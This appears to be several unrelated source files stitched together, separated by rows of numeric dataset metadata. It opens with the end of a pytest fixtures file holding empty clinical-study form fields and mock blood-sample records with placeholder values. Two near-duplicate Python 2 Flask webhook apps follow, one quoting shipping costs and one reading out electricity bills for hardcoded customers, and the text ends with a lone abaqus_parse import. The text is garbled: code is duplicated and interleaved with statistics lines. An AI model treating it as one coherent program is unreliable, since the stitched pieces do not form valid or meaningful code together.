1":"","tumor_primary_locatio2_533___12":"","tumor_primary_locatio2_533___13":"","tumor_primary_locatio2_533___14":"","tumor_primary_locatio2_533___15":"","tumor_primary_locatio2_533___16":"","tumor_primary_locatio2_533___17":"","tumor_primary_locatio2_533___18":"","tumor_primary_locatio2_533___19":"","diag_other2_cf02_e7a2_a55":"","tumor_resection_exten2_7e9":"","metas_at_init_diag_desc":"","metas_at_submit":"","metas_at_submit_other":"","initial_data_form_old_complete":"","update_type":"","monitor_only":"","monitor_only_after_surgery":"","tumor_status":"","path_diag2_6052_f19":"","recur_path_diag2_c0e2_575___1":"","recur_path_diag2_c0e2_575___17":"","recur_path_diag2_c0e2_575___2":"","recur_path_diag2_c0e2_575___3":"","recur_path_diag2_c0e2_575___18":"","recur_path_diag2_c0e2_575___5":"","recur_path_diag2_c0e2_575___6":"","recur_path_diag2_c0e2_575___7":"","recur_path_diag2_c0e2_575___8":"","recur_path_diag2_c0e2_575___19":"","recur_path_diag2_c0e2_575___20":"","recur_path_diag2_c0e2_575___21":"","recur_path_diag2_c0e2_575___22":"","recur_path_diag2_c0e2_575___10":"","recur_path_diag2_c0e2_575___11":"","recur_path_diag2_c0e2_575___12":"","recur_path_diag2_c0e2_575___15":"","recur_path_diag2_c0e2_575___16":"","recur_path_diag2_c0e2_575___23":"","recur_path_diag2_c0e2_575___24":"","recur_path_diag2_c0e2_575___25":"","recur_path_diag2_c0e2_575___26":"","recur_path_diag2_c0e2_575___27":"","recur_path_diag2_c0e2_575___28":"","recur_path_diag2_c0e2_575___29":"","recur_path_diag2_c0e2_575___30":"","recur_path_diag2_c0e2_575___31":"","recur_path_diag2_c0e2_575___14":"","if_other_describe":"","operations_center_pat2_97f":"","tumor_primary_locatio2_f42___1":"","tumor_primary_locatio2_f42___2":"","tumor_primary_locatio2_f42___3":"","tumor_primary_locatio2_f42___4":"","tumor_primary_locatio2_f42___5":"","tumor_primary_locatio2_f42___6":"","tumor_primary_locatio2_f42___7":"","tumor_primary_locatio2_f42___8":"","tumor_primary_locatio2_f42___9":"","tumor_primary_locatio2_f42___10":"","tumor_primary_locatio2_f42___11":"","tumor_primary_locatio2_f42___12":"","tumor_primary_locatio2_f42___13":"","tumor_primary_locatio2_f42___14":"","tumor_primary_locatio2_f42___15":"","tumor_primary_locatio2_f42___16":"","tumor_primary_locatio2_f42___17":"","tumor_primary_locatio2_f42___18":"","tumor_primary_locatio2_f42___19":"","if_other_describe_tl":"","tumor_resection_exten2_207":"","time_surg_prog":"","subject_age_at_recurr2_c64":"","meta_site___1":"","meta_site___2":"","meta_site___3":"","meta_site___4":"","otherdescrip":"","if_no_why":"","was_a_new_treatment_plan_i":"","why_was_new_treatment_init___1":"","why_was_new_treatment_init___2":"","why_was_new_treatment_init___3":"","why_was_new_treatment_init___4":"","new_tumor_treat2_b8b___4":"","new_tumor_treat2_b8b___0":"","new_tumor_treat2_b8b___1":"","new_tumor_treat2_b8b___2":"","new_tumor_treat2_b8b___5":"","new_tumor_treat2_b8b___3":"","if_other_describe_ntt":"","rad_final_dose2_cd4":"","rad_sites2_3b0":"","planned_chemo_agents2_3b0":"","therapy_desc2_05a":"","describe_study_protoc2_eb1":"","additional_tumor_molecular___1":"","additional_tumor_molecular___2":"","additional_tumor_molecular___3":"","additional_tumor_molecular___4":"","additional_tumor_molecular___5":"","additional_tumor_molecular___6":"","if_other_describe_att":"","test_results":"","other_status":"","reason_visit_not_completed":"","updates_data_old_complete":"","date_tissue_1_submitted":"","collectiontime":"","volume1":"","tissue_format1":"","date_tissue_2_submitted":"","collectiontime2_017":"","volume2":"","tissue_format2":"","date_tissue_3_submitted":"","collectiontime2_0172_40f":"","volume3":"","tissue_format3":"","date_tissue_4_submitted":"","collectiontime2_0172_2_83e":"","volume4":"","tissue_format4":"","date_tissue_5_submitted":"","collectiontime2_0172_2_e27":"","volume5":"","tissue_forma5":"","date_tissue_6_submitted":"","collectiontime2_0172_2_e9a":"","volume6":"","tissue_format6":"","date_tissue_7_submitted":"","collectiontime2_0172_2_441":"","volume62_146":"","tissue_format62_a87":"","date_tissue_8_submitted":"","collectiontime2_0172_2_f7f":"","volume62_1462_7bd":"","tissue_format62_a872_ab9":"","other_notes":"","numsamples":"","sampledate":"","date_of_child_blood_submis":"","samplevolume1":"","date_of_child_blood_s2_cb6":"","sampledate2_b77":"","samplevolume2":"","dateparentsample":"","date_paternal_blood_submit":"","parentsamplevol1":"","dateparentsample2_20e":"","date_maternal_blood_submit":"","parentsamplevol2":"","slide_format___1":"","slide_format___2":"","slide_format___3":"","numbers_of_slides":"","describe_stains_used_on_sl":"","date_slide_images_submitte":"","csfcollectiondate":"","csf_1_submission_date":"","csf_counts":"","csfvolume1":"","csfcollectiondate2_36a":"","csf_2_submission_date":"","csf_counts2_540":"","csfvolume2":"","csfcollectiondate2_362_09a":"","cfs_3_submission_date":"","csf_counts2_b0a":"","csfvolume22_930":"","please_use_this_area_to_do":"","specimen_information_form_complete":"","autopsy_type":"","autop_subj_age":"","time_init_diag_to_death":"","autop_gentest_results":"","update_type_autopsy":"","autop_relapse_death":"","autop_death_tumor":"","autop_report_status":"","autopsy_updates_data_old_complete":"","family_members":"","medical_history_form_old_complete":"","rad_sites":"","planned_rad_dose":"","planned_fractions":"","completed_fractions":"","like_protocol":"","describe_study_protocol":"","num_planned_cycles":"","num_completed_cycles":"","other_therapy":"","other_therapy_desc":"","on_study_protocol":"","arm_random":"","rad_sites_defined___1":"","rad_sites_defined___2":"","rad_sites_defined___3":"","rad_sites_defined___4":"","rad_sites_defined___5":"","rad_sites_defined___6":"","rad_sites_defined___7":"","treatment_form_old_complete":"","tumor_or_molecular_tests_d___1":"","tumor_or_molecular_tests_d___2":"","tumor_or_molecular_tests_d___3":"","tumor_or_molecular_tests_d___4":"","tumor_or_molecular_tests_d___5":"","tumor_or_molecular_tests_d___6":"","tumor_or_molecular_tests_d___7":"","diagnosis_form_old_complete":""}]'
# Params: content=record&format=json&token=foo&type=flat&records=0GUQDBCDE0EAWN9Q%3A8LAG76CHO&fields=height%2Cweight
@pytest.fixture(scope='module')
def redcap_record_fields_specified():
return b'[{"height":"100","weight":"20"}]'
@pytest.fixture(scope='module')
def driver_configuration_long():
return u'''{
"unique_event_names": [
"visit_arm_1",
"breakfast_at_visit_arm_1",
"lunch_at_visit_arm_1",
"dinner_at_visit_arm_1"
],
"event_labels": [
"Visit Baseline",
"Breakfast",
"Lunch",
"Dinner"
],
"form_data": {
"baseline_visit_data": [
1,
0,
0,
0
],
"meal_description_form": [
0,
1,
1,
1
]
},
"record_id_field_name": "study_id",
"links": [1]
}'''
@pytest.fixture(scope='module')
def driver_configuration_nonlong():
return u'''
{
"form_names": ["demographics", "baseline_data"],
"record_id_field_name": "study_id"
}'''
@pytest.fixture(scope='module')
def redcap_form_datastring():
return b'meds___1=1&height=100&weight=20&comments=Test%20Data&prealb_b=19&creat_b=0.6&chol_b=101&transferrin_b=102&ibd_flag=1&general_ibd=2016-08-31&chrons=2016-08-31&ulcerative_colitis=2016-08-31&colonoscopy=0&colonoscopy_date=2016-08-31&meal_date=2016-08-31&'
@pytest.fixture(scope='module')
def redcap_payload():
return b'<records><item><study_id><![CDATA[0GUQDBCDE0EAWN9Q:8LAG76CHO]]></study_id><redcap_event_name><![CDATA[visit_arm_1]]></redcap_event_name><colonoscopy_date><![CDATA[2016-08-31]]></colonoscopy_date><general_ibd><![CDATA[2016-08-31]]></general_ibd><transferrin_b><![CDATA[102]]></transferrin_b><meds___2><![CDATA[0]]></meds___2><meal_date><![CDATA[2016-08-31]]></meal_date><ulcerative_colitis><![CDATA[2016-08-31]]></ulcerative_colitis><meds___1><![CDATA[1]]></meds___1><comments><![CDATA[Test Data]]></comments><weight><![CDATA[20]]></weight><chrons><![CDATA[2016-08-31]]></chrons><chol_b><![CDATA[101]]></chol_b><colonoscopy><![CDATA[0]]></colonoscopy><prealb_b><![CDATA[19]]></prealb_b><height><![CDATA[100]]></height><creat_b><![CDATA[0.6]]></creat_b><ibd_flag><![CDATA[1]]></ibd_flag><meds___5><![CDATA[0]]></meds___5><meds___4><![CDATA[0]]></meds___4><meds___3><![CDATA[0]]></meds___3></item></records>'
@pytest.fixture(scope='module')
def nautilus_get_sample_payload():
return b'[{"SDG":{"NAME":"7316-118","SAMPLE":{"ALIQUOT":[{"ALIQUOT_ID":"108880","ALIQUOT_TEMPLATE_ID":"84","ALIQUOT_TYPE":"","AMOUNT":"","ARCHIVED_CHILD_COMPLETE":"F","AUTHORISED_BY":"","AUTHORISED_ON":"","BATCH_NUMBER":"","CHEMICAL_ID":"","COMPLETED_BY":"","COMPLETED_ON":"","CONCLUSION":"N","CONDITION":"","CONTAINER_TYPE_ID":"33","CREATED_BY":"107","CREATED_ON":"21 12 2011 17:19:20","DATE_RESULTS_REQUIRED":"","DESCRIPTION":"CBTTC","EVENTS":"(Q-Print Aliquot Labels,207,#867,F,T)(Q-Print Labels,207,#879,F,T)(Q-CHILD_LABELS,207,#889,F,T)(Q-COPY_FRM_PARENT_ALQ,207,#892,F,T)(Q-GEN_LABELS,207,#895,F,T)(Q-PRINT_DRAW_LABEL,207,#913,F,T)(Q-Add Child Aliquot(s),207,#907,F,T)(Q-Shipping,207,#3602,F,T)(Q-Cancel Shipping,207,#3608,F,T)(Q-STOP SHIPMENT,207,#3611,F,T)","EXPECTED_ON":"","EXPIRES_ON":"","EXTERNAL_REFERENCE":"","GRADE":"","GROUP_ID":"25","HAS_AUDITS":"T","HAS_NOTES":"","INSPECTION_PLAN_ID":"","LOCATION_ID":"426","MATRIX_TYPE":"","NAME":"7316-118-BLD [108880]","NEEDS_REVIEW":"F","OLD_STATUS":"U","OPERATOR_ID":"","PLATE_ALIQUOT_TYPE":"","PLATE_COLUMN":"","PLATE_EDITOR_ID":"","PLATE_ID":"","PLATE_ORDER":"","PLATE_ROW":"","PRIORITY":"1","PURITY":"","RECEIVED_BY":"589","RECEIVED_ON":"11 03 2015 14:35:17","REPORTED":"","SAMPLE_ID":"2645","STATUS":"V","STOCK_TEMPLATE_ID":"","STOCK_TYPE_ID":"","STORAGE":"","SUPPLIER_ID":"","UNIT_ID":"86","USAGE_COUNT":"","U_ALIQUOT_DESIG":"DRW","U_ALT_ID":"0","U_COLLECT_DATE_TIME":"01 01 1901 14:30:19","U_CONC":"","U_CONTROL_TYPE":"","U_DISPOSED":"T","U_DRW_ALQ_NOTE":"","U_HEMOLYSIS_GRADE":"","U_IN_USE":"","U_LIPEMIA_GRADE":"","U_LM_FILTER_ID":"","U_PARENT_ALIQUOT_NAME":"","U_PARENT_ALIQUOT_VOL_USED":"","U_PRINTER_DESTINATION":"202","U_RECEIVED_DATE_TIME":"11 03 2015 14:35:07","U_SAMPLE_TYPE":"BLD","U_SD_COLLECT_EVENT_NAME":"Blood Collection","U_SD_DRAW_ID":"9701","U_SD_GROUP_NAME":"Patient","U_SD_LOCATION_ID":"","U_SD_PARTICIPANT_NUMBER":"118","U_SD_VISIT_NAME":"Initial","U_SD_VOLUME":"5","U_SECONDARY_SAMPLE_TYPE":"EDTA","U_SHIPPER":"","U_SHIP_DATE":"","U_SHIP_DEST":"","U_SUBJECT_NAME":"","U_SUBMIT_DATE":"","U_TISSUE_TYPE":"N/A","U_TRACK_NUM":"","U_TUBE_BAR_CODE":"BLD01","U_UNITS":"","U_VALIDATION_STATUS":"","U_VOLUME_RECEIVED":"","U_VOL_REMAIN":"","WORKFLOW_NODE_ID":"860"},{"ALIQUOT_ID":"108881","ALIQUOT_TEMPLATE_ID":"86","ALIQUOT_TYPE":"","AMOUNT":"","ARCHIVED_CHILD_COMPLETE":"F","AUTHORISED_BY":"","AUTHORISED_ON":"","BATCH_NUMBER":"","CHEMICAL_ID":"","COMPLETED_BY":"","COMPLETED_ON":"","CONCLUSION":"N","CONDITION":"","CONTAINER_TYPE_ID":"5","CREATED_BY":"107","CREATED_ON":"21 12 2011 17:19:20","DATE_RESULTS_REQUIRED":"","DESCRIPTION":"CBTTC","EVENTS":"(V,206,#792,F,F)(Q-Print Aliquot Labels,206,#794,F,T)(Q-Print Labels,206,#804,F,T)(Q-GEN_LABELS,206,#814,F,T)(Q-COPY_FRM_PARENT_ALQ,206,#826,F,T)(Q-Add Child Aliquot(s),206,#834,F,T)(Q-PRINT_ALQ_LABEL,206,#840,F,T)(Q-Shipping,206,#3396,F,T)(Q-Cancel Shipping,206,#3402,F,T)(Q-STOP SHIPMENT,206,#3405,F,T)","EXPECTED_ON":"","EXPIRES_ON":"","EXTERNAL_REFERENCE":"","GRADE":"","GROUP_ID":"25","HAS_AUDITS":"","HAS_NOTES":"","INSPECTION_PLAN_ID":"","LOCATION_ID":"","MATRIX_TYPE":"","NAME":"7316-118-BLD [108881]","NEEDS_REVIEW":"F","OLD_STATUS":"","OPERATOR_ID":"","PLATE_ALIQUOT_TYPE":"","PLATE_COLUMN":"","PLATE_EDITOR_ID":"","PLATE_ID":"","PLATE_ORDER":"","PLATE_ROW":"","PRIORITY":"1","PURITY":"","RECEIVED_BY":"","RECEIVED_ON":"","REPORTED":"","SAMPLE_ID":"2645","STATUS":"V","STOCK_TEMPLATE_ID":"","STOCK_TYPE_ID":"","STORAGE":"","SUPPLIER_ID":"","UNIT_ID":"86","USAGE_COUNT":"","U_ALIQUOT_DESIG":"ALQ","U_ALT_ID":"0","U_COLLECT_DATE_TIME":"WEIRDTIME","U_CONC":"","U_CONTROL_TYPE":"","U_DISPOSED":"","U_DRW_ALQ_NOTE":"","U_HEMOLYSIS_GRADE":"","U_IN_USE":"","U_LIPEMIA_GRADE":"","U_LM_FILTER_ID":"","U_PARENT_ALIQUOT_NAME":"","U_PARENT_ALIQUOT_VOL_USED":"","U_PRINTER_DESTINATION":"","U_RECEIVED_DATE_TIME":"WEIRDTIME","U_SAMPLE_TYPE":"BLD","U_SD_COLLECT_EVENT_NAME":"Blood Collection","U_SD_DRAW_ID":"9703","U_SD_GROUP_NAME":"Patient","U_SD_LOCATION_ID":"","U_SD_PARTICIPANT_NUMBER":"118","U_SD_VISIT_NAME":"Initial","U_SD_VOLUME":"","U_SECONDARY_SAMPLE_TYPE":"EDTA","U_SHIPPER":"","U_SHIP_DATE":"","U_SHIP_DEST":"","U_SUBJECT_NAME":"","U_SUBMIT_DATE":"","U_TISSUE_TYPE":"","U_TRACK_NUM":"","U_TUBE_BAR_CODE":"BLD01","U_UNITS":"","U_VALIDATION_STATUS":"","U_VOLUME_RECEIVED":"","U_VOL_REMAIN":"","WORKFLOW_NODE_ID":"785"},{"ALIQUOT_ID":"108882","ALIQUOT_TEMPLATE_ID":"86","ALIQUOT_TYPE":"","AMOUNT":"","ARCHIVED_CHILD_COMPLETE":"F","AUTHORISED_BY":"","AUTHORISED_ON":"","BATCH_NUMBER":"","CHEMICAL_ID":"","COMPLETED_BY":"","COMPLETED_ON":"","CONCLUSION":"N","CONDITION":"","CONTAINER_TYPE_ID":"5","CREATED_BY":"107","CREATED_ON":"DEADBEEF","DATE_RESULTS_REQUIRED":"","DESCRIPTION":"CBTTC","EVENTS":"(V,206,#792,F,F)(Q-Print Aliquot Labels,206,#794,F,T)(Q-Print Labels,206,#804,F,T)(Q-GEN_LABELS,206,#814,F,T)(Q-COPY_FRM_PARENT_ALQ,206,#826,F,T)(Q-Add Child Aliquot(s),206,#834,F,T)(Q-PRINT_ALQ_LABEL,206,#840,F,T)(Q-Shipping,206,#3396,F,T)(Q-Cancel Shipping,206,#3402,F,T)(Q-STOP SHIPMENT,206,#3405,F,T)","EXPECTED_ON":"","EXPIRES_ON":"","EXTERNAL_REFERENCE":"","GRADE":"","GROUP_ID":"25","HAS_AUDITS":"","HAS_NOTES":"","INSPECTION_PLAN_ID":"","LOCATION_ID":"","MATRIX_TYPE":"","NAME":"7316-118-BLD [108882]","NEEDS_REVIEW":"F","OLD_STATUS":"","OPERATOR_ID":"","PLATE_ALIQUOT_TYPE":"","PLATE_COLUMN":"","PLATE_EDITOR_ID":"","PLATE_ID":"","PLATE_ORDER":"","PLATE_ROW":"","PRIORITY":"1","PURITY":"","RECEIVED_BY":"","RECEIVED_ON":"","REPORTED":"","SAMPLE_ID":"2645","STATUS":"U","STOCK_TEMPLATE_ID":"","STOCK_TYPE_ID":"","STORAGE":"","SUPPLIER_ID":"","UNIT_ID":"86","USAGE_COUNT":"","U_ALIQUOT_DESIG":"ALQ","U_ALT_ID":"0","U_COLLECT_DATE_TIME":"","U_CONC":"","U_CONTROL_TYPE":"","U_DISPOSED":"","U_DRW_ALQ_NOTE":"","U_HEMOLYSIS_GRADE":"","U_IN_USE":"","U_LIPEMIA_GRADE":"","U_LM_FILTER_ID":"","U_PARENT_ALIQUOT_NAME":"","U_PARENT_ALIQUOT_VOL_USED":"","U_PRINTER_DESTINATION":"","U_RECEIVED_DATE_TIME":"","U_SAMPLE_TYPE":"ZZZ","U_SD_COLLECT_EVENT_NAME":"ZZZ","U_SD_DRAW_ID":"9704","U_SD_GROUP_NAME":"Patient","U_SD_LOCATION_ID":"","U_SD_PARTICIPANT_NUMBER":"118","U_SD_VISIT_NAME":"Initial","U_SD_VOLUME":"","U_SECONDARY_SAMPLE_TYPE":"ZZZ","U_SHIPPER":"","U_SHIP_DATE":"","U_SHIP_DEST":"","U_SUBJECT_NAME":"","U_SUBMIT_DATE":"","U_TISSUE_TYPE":"","U_TRACK_NUM":"","U_TUBE_BAR_CODE":"BLD02","U_UNITS":"","U_VALIDATION_STATUS":"","U_VOLUME_RECEIVED":"","U_VOL_REMAIN":"","WORKFLOW_NODE_ID":"785"},{"ALIQUOT_ID":"108881","ALIQUOT_TEMPLATE_ID":"86","ALIQUOT_TYPE":"","AMOUNT":"","ARCHIVED_CHILD_COMPLETE":"F","AUTHORISED_BY":"","AUTHORISED_ON":"","BATCH_NUMBER":"","CHEMICAL_ID":"","COMPLETED_BY":"","COMPLETED_ON":"","CONCLUSION":"N","CONDITION":"","CONTAINER_TYPE_ID":"5","CREATED_BY":"107","CREATED_ON":"21 12 2011 17:19:20","DATE_RESULTS_REQUIRED":"","DESCRIPTION":"CBTTC","EVENTS":"(V,206,#792,F,F)(Q-Print Aliquot Labels,206,#794,F,T)(Q-Print Labels,206,#804,F,T)(Q-GEN_LABELS,206,#814,F,T)(Q-COPY_FRM_PARENT_ALQ,206,#826,F,T)(Q-Add Child Aliquot(s),206,#834,F,T)(Q-PRINT_ALQ_LABEL,206,#840,F,T)(Q-Shipping,206,#3396,F,T)(Q-Cancel Shipping,206,#3402,F,T)(Q-STOP SHIPMENT,206,#3405,F,T)","EXPECTED_ON":"","EXPIRES_ON":"","EXTERNAL_REFERENCE":"","GRADE":"","GROUP_ID":"25","HAS_AUDITS":"","HAS_NOTES":"","INSPECTION_PLAN_ID":"","LOCATION_ID":"","MATRIX_TYPE":"","NAME":"7316-118-BLD [108881]","NEEDS_REVIEW":"F","OLD_STATUS":"","OPERATOR_ID":"","PLATE_ALIQUOT_TYPE":"","PLATE_COLUMN":"","PLATE_EDITOR_ID":"","PLATE_ID":"","PLATE_ORDER":"","PLATE_ROW":"","PRIORITY":"1","PURITY":"","RECEIVED_BY":"","RECEIVED_ON":"","REPORTED":"","SAMPLE_ID":"2645","STATUS":"X","STOCK_TEMPLATE_ID":"","STOCK_TYPE_ID":"","STORAGE":"","SUPPLIER_ID":"","UNIT_ID":"86","USAGE_COUNT":"","U_ALIQUOT_DESIG":"ALQ","U_ALT_ID":"0","U_COLLECT_DATE_TIME":"","U_CONC":"","U_CONTROL_TYPE":"","U_DISPOSED":"","U_DRW_ALQ_NOTE":"","U_HEMOLYSIS_GRADE":"","U_IN_USE":"","U_LIPEMIA_GRADE":"","U_LM_FILTER_ID":"","U_PARENT_ALIQUOT_NAME":"","U_PARENT_ALIQUOT_VOL_USED":"","U_PRINTER_DESTINATION":"","U_RECEIVED_DATE_TIME":"","U_SAMPLE_TYPE":"BLD","U_SD_COLLECT_EVENT_NAME":"Blood Collection","U_SD_DRAW_ID":"9703","U_SD_GROUP_NAME":"Patient","U_SD_LOCATION_ID":"","U_SD_PARTICIPANT_NUMBER":"118","U_SD_VISIT_NAME":"Initial","U_SD_VOLUME":"","U_SECONDARY_SAMPLE_TYPE":"FFRZ","U_SHIPPER":"","U_SHIP_DATE":"","U_SHIP_DEST":"","U_SUBJECT_NAME":"","U_SUBMIT_DATE":"","U_TISSUE_TYPE":"","U_TRACK_NUM":"","U_TUBE_BAR_CODE":"BLD01","U_UNITS":"","U_VALIDATION_STATUS":"","U_VOLUME_RECEIVED":"","U_VOL_REMAIN":"","WORKFLOW_NODE_ID":"785"}],"NAME":"7316-118-Initial","SAMPLE_ID":"2645"},"SDG_ID":"2389"}}]'
| 1,061.177057
| 213,396
| 0.770398
| 57,742
| 425,532
| 4.889145
| 0.018306
| 0.029471
| 0.029542
| 0.035592
| 0.964557
| 0.951574
| 0.94358
| 0.937405
| 0.9312
| 0.92578
| 0
| 0.043473
| 0.023951
| 425,532
| 400
| 213,397
| 1,063.83
| 0.636233
| 0.000616
| 0
| 0.06469
| 0
| 0.822102
| 0.997679
| 0.932419
| 0
| 0
| 0
| 0
| 0
| 1
| 0.03504
| true
| 0
| 0.005391
| 0.03504
| 0.075472
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
cbf9d69be9b20db11688ec8d45cdf9f4157cb50a
| 316
|
py
|
Python
|
tests/expectations/txt-x-cat-date-smoothed-col-idx-w3.py
|
Crunch-io/crunch-cube
|
80986d5b2106c774f05176fb6c6a5ea0d840f09d
|
[
"MIT"
] | 3
|
2021-01-22T20:42:31.000Z
|
2021-06-02T17:53:19.000Z
|
tests/expectations/txt-x-cat-date-smoothed-col-idx-w3.py
|
Crunch-io/crunch-cube
|
80986d5b2106c774f05176fb6c6a5ea0d840f09d
|
[
"MIT"
] | 331
|
2017-11-13T22:41:56.000Z
|
2021-12-02T21:59:43.000Z
|
tests/expectations/txt-x-cat-date-smoothed-col-idx-w3.py
|
Crunch-io/crunch-cube
|
80986d5b2106c774f05176fb6c6a5ea0d840f09d
|
[
"MIT"
] | 1
|
2021-02-19T02:49:00.000Z
|
2021-02-19T02:49:00.000Z
|
[
[float("NaN"), float("NaN"), 0.0, 0.0, 0.0],
[float("NaN"), float("NaN"), 0.0, 0.0, 200.0],
[float("NaN"), float("NaN"), 0.0, 200.0, 200.0],
[float("NaN"), float("NaN"), 200.0, 200.0, 0.0],
[float("NaN"), float("NaN"), 200.0, 0.0, 0.0],
[float("NaN"), float("NaN"), 200.0, 200.0, 200.0],
]
| 35.111111
| 54
| 0.474684
| 60
| 316
| 2.5
| 0.066667
| 0.2
| 0.2
| 0.64
| 1
| 0.953333
| 0.953333
| 0.78
| 0.64
| 0
| 0
| 0.207692
| 0.177215
| 316
| 8
| 55
| 39.5
| 0.369231
| 0
| 0
| 0
| 0
| 0
| 0.113924
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
022af4ba9b79d1974e9e1edf3bf4986ba2afe4f3
| 135
|
py
|
Python
|
cli.py
|
carloslinares-eu/astute
|
e6c65a95fb36774b02b68b007c3ef85a5a9a2fbd
|
[
"MIT"
] | null | null | null |
cli.py
|
carloslinares-eu/astute
|
e6c65a95fb36774b02b68b007c3ef85a5a9a2fbd
|
[
"MIT"
] | null | null | null |
cli.py
|
carloslinares-eu/astute
|
e6c65a95fb36774b02b68b007c3ef85a5a9a2fbd
|
[
"MIT"
] | null | null | null |
from astute.__main__ import main
from astute.__main__ import Icon
if __name__ == '__main__':
main(icon=Icon('astute/astute.ico'))
| 22.5
| 40
| 0.748148
| 19
| 135
| 4.473684
| 0.421053
| 0.235294
| 0.329412
| 0.470588
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.133333
| 135
| 5
| 41
| 27
| 0.726496
| 0
| 0
| 0
| 0
| 0
| 0.185185
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
022e967dc31b2a40824e5dc8c609faac675e59bc
| 3,737
|
py
|
Python
|
app.py
|
djuliusperry/shipping-costs-sample
|
5728a0d16f2e476fdd28a138f6db575677f7cf61
|
[
"Apache-2.0"
] | null | null | null |
app.py
|
djuliusperry/shipping-costs-sample
|
5728a0d16f2e476fdd28a138f6db575677f7cf61
|
[
"Apache-2.0"
] | null | null | null |
app.py
|
djuliusperry/shipping-costs-sample
|
5728a0d16f2e476fdd28a138f6db575677f7cf61
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
import urllib
import json
import os
#import psycopg2
from flask import Flask
from flask import request
from flask import make_response
# Flask app should start in global layout
app = Flask(__name__)
@app.route('/webhook', methods=['POST'])
def webhook():
req = request.get_json(silent=True, force=True)
print("Request:")
print(json.dumps(req, indent=4))
res = makeWebhookResult(req)
res = json.dumps(res, indent=4)
print(res)
r = make_response(res)
r.headers['Content-Type'] = 'application/json'
return r
def makeWebhookResult(req):
if req.get("result").get("action") != "shipping.cost":
return {}
result = req.get("result")
parameters = result.get("parameters")
zone = parameters.get("shipping-zone")
cost = {'Europe':100, 'North America':200, 'South America':300, 'Asia':900, 'Africa':500}
#speech = "The cost of shipping to " + zone + " is " + str(cost[zone]) + " euros."
speech = "The cost of shipping to " + zone + " is " + "152" + " euros."
print("Response:")
print(speech)
return {
"speech": speech,
"displayText": speech,
#"data": {},
# "contextOut": [],
"source": "apiai-onlinestore-shipping"
}
if __name__ == '__main__':
port = int(os.getenv('PORT', 5000))
print "Starting app on port %d" % port
app.run(debug=True, port=port, host='0.0.0.0')
#!/usr/bin/env python
import urllib
import json
import os
import psycopg2
import urlparse
from flask import Flask
from flask import request
from flask import make_response
# Flask app should start in global layout
app = Flask(__name__)
@app.route('/webhook', methods=['POST'])
def webhook():
req = request.get_json(silent=True, force=True)
print("Request:")
print(json.dumps(req, indent=4))
res = makeWebhookResult(req)
res = json.dumps(res, indent=4)
print(res)
r = make_response(res)
r.headers['Content-Type'] = 'application/json'
return r
def makeWebhookResult(req):
if req.get("result").get("action") != "shipping.cost":
return {}
result = req.get("result")
parameters = result.get("parameters")
zone = parameters.get("shipping-zone")
billmonth = parameters.get("billmonth")
sin = parameters.get("sin")
#cost = {'Europe':100, 'North America':200, 'South America':300, 'Asia':800, 'Africa':500}
amount = {'1234567':4387, '7654321':3350,'123123':10500 }
name = {'1234567':'Perry Dominguez', '7654321':'Carlos Garcia', '123123':'Gavin Barfield'}
due = {'1234567':'March 5, 2017', '7654321':'March 6, 2017', '123123':'March 7, 2017'}
#speech = "The cost of shipping to " + zone + " is " + str(cost[zone]) + " euros."
#speech = "The cost of shipping to " + zone + " is " + "159 " + " euross."
speech = "Thank you for that information Mr. " + str(name[sin]) + ". Your bill amount for the month of " + billmonth + " is " + str(amount[sin]) + " pesos. This is due on " + str(due[sin]) +". Do you want me to do an analysis on your electricity bill?"
#speech = "Thank you for that information Mr. The bill amount for the month of " + billmonth + "for SIN " + sin + " is " + str(amount[sin]) + " pesos. Do you want me to do analysis on your bill?"
print("Response:")
print(speech)
return {
"speech": speech,
"displayText": speech,
#"data": {},
# "contextOut": [],
"billamount": str(amount[sin]),
"source": "apiai-onlinestore-shipping"
}
if __name__ == '__main__':
port = int(os.getenv('PORT', 5000))
print "Starting app on port %d" % port
app.run(debug=True, port=port, host='0.0.0.0')
| 28.746154
| 257
| 0.61734
| 485
| 3,737
| 4.694845
| 0.268041
| 0.023715
| 0.039526
| 0.02635
| 0.834431
| 0.817743
| 0.804567
| 0.746596
| 0.746596
| 0.746596
| 0
| 0.050241
| 0.222371
| 3,737
| 129
| 258
| 28.968992
| 0.73331
| 0.190527
| 0
| 0.839506
| 0
| 0
| 0.267353
| 0.01727
| 0.012346
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.17284
| null | null | 0.148148
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
65f56955176b285fc38183140a43b5249c21a194
| 348
|
py
|
Python
|
abaqus_parse/__init__.py
|
tjailin/abaqus-parse
|
bb582fdc6cd7df78d9836df4789eb4c7e40e78b5
|
[
"MIT"
] | null | null | null |
abaqus_parse/__init__.py
|
tjailin/abaqus-parse
|
bb582fdc6cd7df78d9836df4789eb4c7e40e78b5
|
[
"MIT"
] | null | null | null |
abaqus_parse/__init__.py
|
tjailin/abaqus-parse
|
bb582fdc6cd7df78d9836df4789eb4c7e40e78b5
|
[
"MIT"
] | null | null | null |
from abaqus_parse._version import __version__
